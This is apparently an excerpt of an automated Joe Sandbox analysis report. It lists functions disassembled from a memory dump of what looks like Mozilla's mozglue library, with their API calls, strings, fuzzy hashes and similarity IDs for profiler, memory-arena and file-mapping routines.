Opcode ID: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction ID: 05790c3df5ad1fb34af10d8dbd0571f821934aa96cf63e7f6f052a122c3d3578
Opcode Fuzzy Hash: 0ee93393dbd798f42ac72bd235510c59fd99e436951f0d8ead5bc62aa2b62460
Instruction Fuzzy Hash: 9AC19B79A0C745EFCB05CF28C44066AB7F1BF9A718F558A1DE8C497661D730E885CB82

Function 6C97EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EC8C

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97ECA1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C97ECC5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97ED19
CloseHandle.KERNEL32(?), ref: 6C97ED28
free.MOZGLUE(00000000), ref: 6C97ED2F
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C97EC94

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction ID: 9e67237bb8eb875031e9b467384efa877a4de4c277d9d803fd726e095751aca5
Opcode Fuzzy Hash: 3b738afe9ee2883605d13ab93f926de129ef1314b19d04494bfeb8febd482290
Instruction Fuzzy Hash: 2E21EF7D605108BFDB109F28D848AEB777AEB9626CF204210F91897B81DB71DC158BF9

Function 6C978ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C93EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C93EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C97B392,?,?,00000001), ref: 6C9791F4

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Strings

marker-table, xrefs: 6C97906C
data, xrefs: 6C9790E8
stack-chart, xrefs: 6C9790B2
name, xrefs: 6C978F16
timeline-fileio, xrefs: 6C9790A4
marker-chart, xrefs: 6C97905E
timeline-ipc, xrefs: 6C979096
timeline-memory, xrefs: 6C979088
timeline-overview, xrefs: 6C97907A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction ID: 897379af96ec2ce43e076a8ca82ead57329b94498f9ea148fc05e65c0628d731
Opcode Fuzzy Hash: 44f0d4454be47dabae99f7d3d653195086f0a9855e874e86e1055f4dd0177ed6
Instruction Fuzzy Hash: 86B1C4B1A02209ABDB18CFA9C8957EEBBB5FF95318F104419D506ABF80D731D945CBE0

Function 6C95C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C5A3
WideCharToMultiByte.KERNEL32 ref: 6C95C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C95C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C95CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C95CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C95CAA5

Strings

(null), xrefs: 6C95C596
0, xrefs: 6C95D30A

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction ID: e909b9e930eedf9c536e9ea0f258f479c34a97032f2b0006fee39d1ed45b0c02
Opcode Fuzzy Hash: c68f0dde42fd8f15a290e4ed9e49e0c73bbc9193233a326385a88aea8f4e1015
Instruction Fuzzy Hash: C7A1BB316093429FDB00DF28C98475ABBF5EF89748F54882DE88AD7741DB31E925CB92

Function 6C95C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C95C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C95C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C95C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95C891

Strings

nan, xrefs: 6C95C7A8
NAN, xrefs: 6C95C7AD
inf, xrefs: 6C95C78F
INF, xrefs: 6C95C794

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction ID: 2fbbe5afb57f1ab8dd6e24dd54d30abc384726575ca95099c5cbe5f829687bc1
Opcode Fuzzy Hash: 6451d5b0df2c2bcd0821f3e3637b45a18909cf4639a876aea2967860a8eee740
Instruction Fuzzy Hash: 32518F719087849BDB00EF6CC58129AFBF4BF9E308F408A2DE9D5A7650E770D995CB42

Function 6C934480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C974843,?), ref: 6C9345F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C974843,?), ref: 6C93468A
free.MOZGLUE(?,?,?,?,?,?,6C974843,?), ref: 6C9346C9
free.MOZGLUE(?), ref: 6C9346EF
free.MOZGLUE(?), ref: 6C934712
free.MOZGLUE(?), ref: 6C934735
free.MOZGLUE(?), ref: 6C934758
free.MOZGLUE(?), ref: 6C93477B
free.MOZGLUE(?), ref: 6C93479E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction ID: ba3eb26eb0ed31d37b6dd96fb43570f51ae9ca494221bab7b16e629f04ec2ffa
Opcode Fuzzy Hash: fddd83d041bcd03193718faec01eb829cedc252dd6285abb24b39bef39e6a879
Instruction Fuzzy Hash: A8B10871A001218FDB14CE3CC89476D7BB5AF52318F1A5678E81ADFB86D732D8448F91

Function 6C99AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C99AC52
CreateFileMappingW.KERNEL32 ref: 6C99AC7D
GetSystemInfo.KERNEL32 ref: 6C99AC98
MapViewOfFile.KERNEL32 ref: 6C99ACB0
GetSystemInfo.KERNEL32 ref: 6C99ACCD
MapViewOfFile.KERNEL32 ref: 6C99AD05
UnmapViewOfFile.KERNEL32 ref: 6C99AD1C
CloseHandle.KERNEL32 ref: 6C99AD28
UnmapViewOfFile.KERNEL32 ref: 6C99AD37
CloseHandle.KERNEL32 ref: 6C99AD43
CloseHandle.KERNEL32 ref: 6C99AD67

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction ID: d38983b6303b7319b5000e54ae360ec5cb4a7f1b335ffc3ce8cfae03ac794501
Opcode Fuzzy Hash: 94498c740d8184545b2c57509564edb1feddbc6ce7f8ddab623a02f6d142293a
Instruction Fuzzy Hash: 313160B1A087449FDB00AF78D68926EBBF0FF85305F11492DE98587261EB709458CB92

Function 6C949620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
__Init_thread_footer.LIBCMT ref: 6C94971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949773

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9497B7
FreeLibrary.KERNEL32 ref: 6C9497D0
FreeLibrary.KERNEL32 ref: 6C9497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

MapViewOfFileNuma2, xrefs: 6C9497B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction ID: 888f558f7866f116365d849e46472fc0183c9dd8cfd0c6d7854e311e93e060c7
Opcode Fuzzy Hash: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction Fuzzy Hash: 8041D579704205ABDF00CFA9D9C5A9777B8FB89B1CF218169ED0597B80D730E904CBA5

Function 6C931E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931EC1
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931EE1
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C931F38
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C931F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C931F83
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FC0
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931FE2
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C932019

Strings

MOZ_CRASH(), xrefs: 6C932000

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction ID: e393ac2edb458ad3a3218530af0339a12a907e7b4f2376534a0ca5ea0a496b89
Opcode Fuzzy Hash: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction Fuzzy Hash: BF41E071B04329AFDB009FA9C8C8B6B37B9EB5A708F200065F90897781DB71D8048BD9

Function 6C980000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C980039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C980041
GetCurrentThreadId.KERNEL32 ref: 6C980075
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C980082
moz_xmalloc.MOZGLUE(00000048), ref: 6C980090
free.MOZGLUE(?), ref: 6C980104
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C98011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C98005B

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction ID: 697352e9c936ea72e88fc40d1cf39cf4aa305f1cddd466ff5d4356ce34f76c7d
Opcode Fuzzy Hash: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction Fuzzy Hash: 0341B079606244EFCB10CF24C884A9BBBF1FF59318F50491DE95A93B50D731E914CB95

Function 6C947E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C947EA7
malloc.MOZGLUE(00000001), ref: 6C947EB3

Part of subcall function 6C94CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C94CB49
Part of subcall function 6C94CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C94CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C947EC4
mozalloc_abort.MOZGLUE(?), ref: 6C947F19
malloc.MOZGLUE(?), ref: 6C947F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C947F4D

Strings

d, xrefs: 6C947F89

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction ID: 7db73936cf6c8a748e6de4cdf67231608c6ecadaa4dcb667cba806a2b619af00
Opcode Fuzzy Hash: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction Fuzzy Hash: 3C31FA61E0478897DB009B68DC049FEB778EFA5208F159269ED4557712FB31E588C390

Function 6C943E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C943EEE
RtlFreeHeap.NTDLL ref: 6C943FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C944006
RtlFreeHeap.NTDLL ref: 6C9440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440C2
RtlFreeHeap.NTDLL ref: 6C944134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944157

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: c09a734219b07cf2b234f0adaf757442157a458d341ed95c680db0ba8614c80e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA181B1A00215CFEB40CF68C880669B7F5FF58318F258199D909AF752D772E996CFA0

Function 6C932030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C953F47,?,?,?,6C953F47,6C951A70,?), ref: 6C93207F
memset.VCRUNTIME140(?,000000E5,6C953F47,?,6C953F47,6C951A70,?), ref: 6C9320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C953F47,6C951A70,?), ref: 6C93211A
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C953F47,6C951A70,?), ref: 6C9321BA
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C9321E0
LeaveCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C932253, 6C932268
MOZ_CRASH(), xrefs: 6C93227D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction ID: a8a2bd1d1c4fe497a56101119cae68a8ed094895082b3ee68594bd4d2bfab02c
Opcode Fuzzy Hash: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction Fuzzy Hash: B2610431F046269FCB04CAA8CD88B6E73B5EF95318F254279E528A7A95D770D900C7C5

Function 6C9348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C97483A,?), ref: 6C934ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C97483A,?), ref: 6C934AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C97483A,?), ref: 6C934A82

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C97483A,?), ref: 6C934A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C97483A,?), ref: 6C934A35

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C97483A,?), ref: 6C934A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C97483A,?), ref: 6C934AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C97483A,?), ref: 6C934B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C97483A,?), ref: 6C934B2C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: cedf6b77177abb0904024bfc486fef7e6b98e364b24d000bcbaa91791131b9b8
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 8C715AB19007069FCB54CF68C480AAABBF5FF19308B10463ED15ADBB41E732E959CB80

Function 6C989D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C988273), ref: 6C989D65
free.MOZGLUE(6C988273,?), ref: 6C989D7C
free.MOZGLUE(?,?), ref: 6C989D92
